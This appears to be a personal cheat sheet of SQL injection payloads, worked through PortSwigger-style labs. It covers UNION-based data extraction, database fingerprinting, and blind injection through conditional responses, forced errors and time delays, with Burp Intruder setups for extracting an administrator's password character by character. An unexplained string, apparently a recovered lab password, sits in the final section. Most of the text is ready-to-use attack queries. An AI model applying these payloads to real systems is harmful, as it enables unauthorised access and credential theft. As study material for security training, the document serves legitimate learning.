SQL Injection

Retrieving hidden data

```
URL:    https://insecure-website.com/products?category=Gifts
QUERY:  SELECT * FROM products WHERE category = 'Gifts' AND released = 1


URL:    https://insecure-website.com/products?category=Gifts'--
SQLI:   SELECT * FROM products WHERE category = 'Gifts'--' AND released
= 1
NOTE:   The '-- comments out the rest of the query


URL:    https://insecure-website.com/products?category=Gifts'+OR+1=1--
SQLI:   SELECT * FROM products WHERE category = '' OR 1=1--' AND
released = 1
NOTE:   1=1 is always true
```

Subverting application logic

```
QUERY:    SELECT * FROM users WHERE username = 'wiener' AND password =
'bluecheese'
SQLI:     SELECT * FROM users WHERE username = 'administrator'--' AND
password = ''
NOTE:     If a username is known, use that name along with '--
```

Retrieving data from other database tables

```
QUERY:    SELECT name, description FROM products WHERE category =
'Gifts'
SQLI:     SELECT name, description FROM products WHERE category = ''
UNION SELECT username, password FROM users--
NOTE:     Must match the number of columns from the original query.
          Can add NULL to fill in gaps or to find number of columns,
for example:
            ' UNION SELECT NULL--
            ' UNION SELECT NULL,NULL--
            ' UNION SELECT NULL,NULL,NULL--
          If the correct number of NULL(s) is not provided, the app
will return an error.
          Oracle has a default table called DUAL
ERROR:    All queries combined using a UNION, INTERSECT or EXCEPT
operator must have an equal number of expressions in their target lists.


SQLI:     ' UNION SELECT 'a',NULL,NULL,NULL--
          ' UNION SELECT NULL,'a',NULL,NULL--
          ' UNION SELECT NULL,NULL,'a',NULL--
          ' UNION SELECT NULL,NULL,NULL,'a'--
NOTE:     Help with finding columns with useful information, for
example, which column takes strings
ERROR:    Conversion failed when converting the varchar value 'a' to
data type int.


SQLI:     ' UNION SELECT username || '~' || password FROM users--
NOTE:     Concatenate the strings if there is only 1 column that takes
strings

IMPORTANT NOTE:
For a UNION query to work, two key requirements must be met:
 - The individual queries must return the same number of columns.
 - The data types in each column must be compatible between the
individual queries.
```

Examining the database

Type and version of the database software, and which columns and table the database contains are all very important information.

Querying the database type and version

```
QUERY:      SELECT * FROM v$version
NOTE:       Oracle

QUERY:      SELECT * FROM information_schema.tables
NOTE:       List tables

SQLI:       ' UNION SELECT @@version--
NOTE:       Make sure that column can take strings

EXAMPLE OF SUCCESS:   Microsoft SQL Server 2016 (SP2) (KB4052908) -
13.0.5026.0 (X64)
                      Mar 18 2018 09:11:49
                      Copyright (c) Microsoft Corporation
                      Standard Edition (64-bit) on Windows Server 2016
Standard 10.0 <X64> (Build 14393: ) (Hypervisor)
```

Listing the contents of the database (NON-ORACLE)

Databases often have an information schema that provide information about the database such as columns, tables, etc.

```
QUERY:      SELECT * FROM information_schema.tables
RETURNS:    TABLE_CATALOG TABLE_SCHEMA TABLE_NAME TABLE_TYPE
            ======================================================
            MyDatabase dbo Products BASE TABLE
            MyDatabase dbo Users BASE TABLE
            MyDatabase dbo Feedback BASE TABLE
NOTE:       This returns the TABLES within the database.

QUERY:      SELECT * FROM information_schema.columns WHERE table_name =
'Users'
RETURNS:    TABLE_CATALOG TABLE_SCHEMA TABLE_NAME COLUMN_NAME DATA_TYPE

================================================================
            MyDatabase dbo Users UserId int
            MyDatabase dbo Users Username varchar
            MyDatabase dbo Users Password varchar
NOTE:       This returns the COLUMNS within the table.
```

Listing the contents of the database (NON-ORACLE)

If it’s an Oracle database, then a set of different queries can be used to obtain database information.

```
QUERY:         SELECT * FROM all_tables
NOTE:          This returns the TABLES within the database.

QUERY:         SELECT * FROM all_tab_columns WHERE table_name = 'USERS'
NOTE:          This returns the COLUMNS within the table.
```

Blind SQL Injection with conditional Responses

In the event we cannot directly see the output of our query, we can leverage another truth statement to check if our query was successful. In the PortSwigger example lab, this was through a TrackingID that posted a “Welcome Back!” message.

IMPORTANT NOTE: when creating your injection query, you can either begin it with '; to end the query and stack, if you are NOT in an oracle database (and usually not MySQL). You can also use || to concatenate, creating a subquery. The || method also requires you to surround your query with brackets.

Step 1: Determine if the conditional response applies

```
QUERY:      TrackingId=xyz' AND '1'='1

We inject the 'AND '1'='1 to test if the Welome Back message appears

QUERY: TrackingId=xyz' AND '1'='2

This is a test that should result in a fail, done to confirm that
welcome back will
not be displayed therefore confirming conditional response applies
```

Step 2: Determine table name

```
QUERY:      TrackingId=xyz' AND (SELECT 'a' FROM users LIMIT 1)='a

Simply testing to confirm that there is a "users" table.
```

Step 3: Determine username

```
QUERY:      TrackingId=xyz' AND (SELECT 'a' FROM users WHERE
username='administrator')='a

Checking if there is a administrator user in the users table
```

Step 4: Determine password length

```
QUERY:      TrackingId=xyz' AND
            (SELECT 'a' FROM users WHERE username='administrator' AND
LENGTH(password)>1)='a

We can edit this and resend it to determine the exact length of the
password by changing the
1 to a 2, 3, 4 etc until "Welcome Back" stops displaying
```

Step 5: Determine password 1 character at a time using Intruder

```
QUERY:      TrackingId=xyz' AND (SELECT SUBSTRING(password,§1§,1)
            FROM users WHERE username='administrator')='§a§

After sending the request to burp intruder, we select the first
character of the admin
password and then iterate through a list of all alphanumeric
characters.
We then grep the outputs to find the onethat contains "Welcome Back!"

The way I did this was using a cluster bomb attack on the two sets, 1-
20 and a-z0-9
```

Inducing conditional responses by triggering SQL errors

Similar to the above example, if we are not able to view the output of our query we can combine a query that tests info we need and combines it with an SQL error to gather information from the database. A SQL error/page not loading generally means our query was false, if the page loads our query was true.

IMPORTANT NOTE: when creating your injection query, you can either begin it with '; to end the query and stack, if you are NOT in an oracle database (and usually not MySQL). You can also use || to concatenate, creating a subquery. The || method also requires you to surround your query with brackets.

Step 1: Determine if conditional response applies

```
*Assuming oracle database, other databases may have different formats.
```

```
QUERY:      TrackingId=xyz'||(SELECT '' FROM dual)||'

This should not return an error, so the next thing to test is if we can
cause an error.

QUERY:      TrackingId=xyz'||(SELECT '' FROM not-a-real-table)||'

This is obviously a fake table, and should throw an sql error if
injection is possible.
If the page has an error, this means injection applies and we can use
conditional response
of triggering sql errors to test our injection.
```

Step 2: Use CASE/END to test conditions

```
QUERY: TrackingId=xyz'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE
'' END FROM dual)||'
QUERY: TrackingId=xyz'||(SELECT CASE WHEN (1=2) THEN TO_CHAR(1/0) ELSE
'' END FROM dual)||'

CASE is essentially an if statement, everything inbetween case and end
is what is evaluated.
We can use the idea of 1=1 evaluating to true and 1/0 returning an
error due to dividing by 0
This step is to test that our CASE format is working properly. The
first injection should
return an error because it will go to the 1/0, whereas the second will
go to ELSE NULL/''
```

Step 3: Determine password length

```
Query:      TrackingId=xyz'||(SELECT CASE WHEN LENGTH(password)>$1$
THEN to_char(1/0) ELSE ''
            END FROM users WHERE username='administrator')||'

Consider the $ around 1 to be the intruder payload targetting of Burp.
Create a list of 1-20
and run the attack, tracking at which number you begin to receive
errors. The last number
to return the page is the length of password.
```

Step 4: Determine password

```
Query:  TrackingId=xyz'||(SELECT CASE WHEN SUBSTR(password, $1$, 1)=$a$
THEN to_char(1/0)
        ELSE '' END FROM users WHERE username='administrator')||'

Using burp intruder cluster bomb attack, we can create a list of 1-
passwordlength for the
first payload, and any alphanumeric for the second payload. We can then
check all the results
for which returned a valid page, and which threw an error. There should
be only 1 value per
number from the first payload that returns a valid page. Check the
value from the second
paylaod and put in order to accquire your password.
```

Blind SQL injection with time delays

Another form of Blind SQL, but this one can be used if you are not able to cause an SQL error or view a truth output. We can combine time delays with a truth statement to test if a value is true, similar to the previous examples.

IMPORTANT NOTE: when creating your injection query, you can either begin it with '; to end the query and stack, if you are NOT in an oracle database (and usually not MySQL). You can also use || to concatenate, creating a subquery. The || method also requires you to surround your query with brackets.

Step 1: Determine database version

```
Oracle:              dbms_pipe.receive_message(('a'),10)
Microsoft:          WAITFOR DELAY '0:0:10'
PostgreSQL:         SELECT pg_sleep(10)
MySQL:              SELECT sleep(10)

QUERY:          TrackingID = xyz'||^test the four from above to see
which database it is --
```

Step 2: Attempt cased time delay injection

```
QUERY: '; SELECT CASE WHEN (1=1) THEN        PG_SLEEP(10) ELSE PG_SLEEP
(0) END-- (must URl encode)
QUERY: '; SELECT CASE WHEN (1=2) THEN        PG_SLEEP(10) ELSE PG_SLEEP
(0) END--

Assuming our database was PostgreSQL, we now test these two queries to
confirm our case
system will work. Query 1 should take 10 seconds to load whereas query
2 will take 0.
```

Step 3: Determine password length

```
Query:      '; SELECT CASE WHEN (username = 'administrator' AND LENGTH
(password)>1)
            THEN        PG_SLEEP(10) ELSE PG_SLEEP(0) END FROM USERS--

This step accomplishes several things, we confirm the administrator
user exists in the users
table, as well as confirm that the password is greater than 1. We must
now increase 1 to
different values until we determine the total length of the password.
```

Step 4: Determine password!

wf4j89rg10ub471vcz3v

```
QUERY: '; SELECT CASE WHEN (username = 'administrator' AND SUBSTRING
(password,§1§,1)='§a§')
        THEN PG_SLEEP(5) ELSE PG_SLEEP(0) END FROM USERS--

Very similar to previous blind sqls, just change the cases to sleeps
instead of errors.
Important note with BURP configuration for intruder when using time
delays:
You must check resource pool and limit it to 1 thread at a time, or
results will be wrong.
Check columns and respons received for time, anything above time you
input is a hit.
```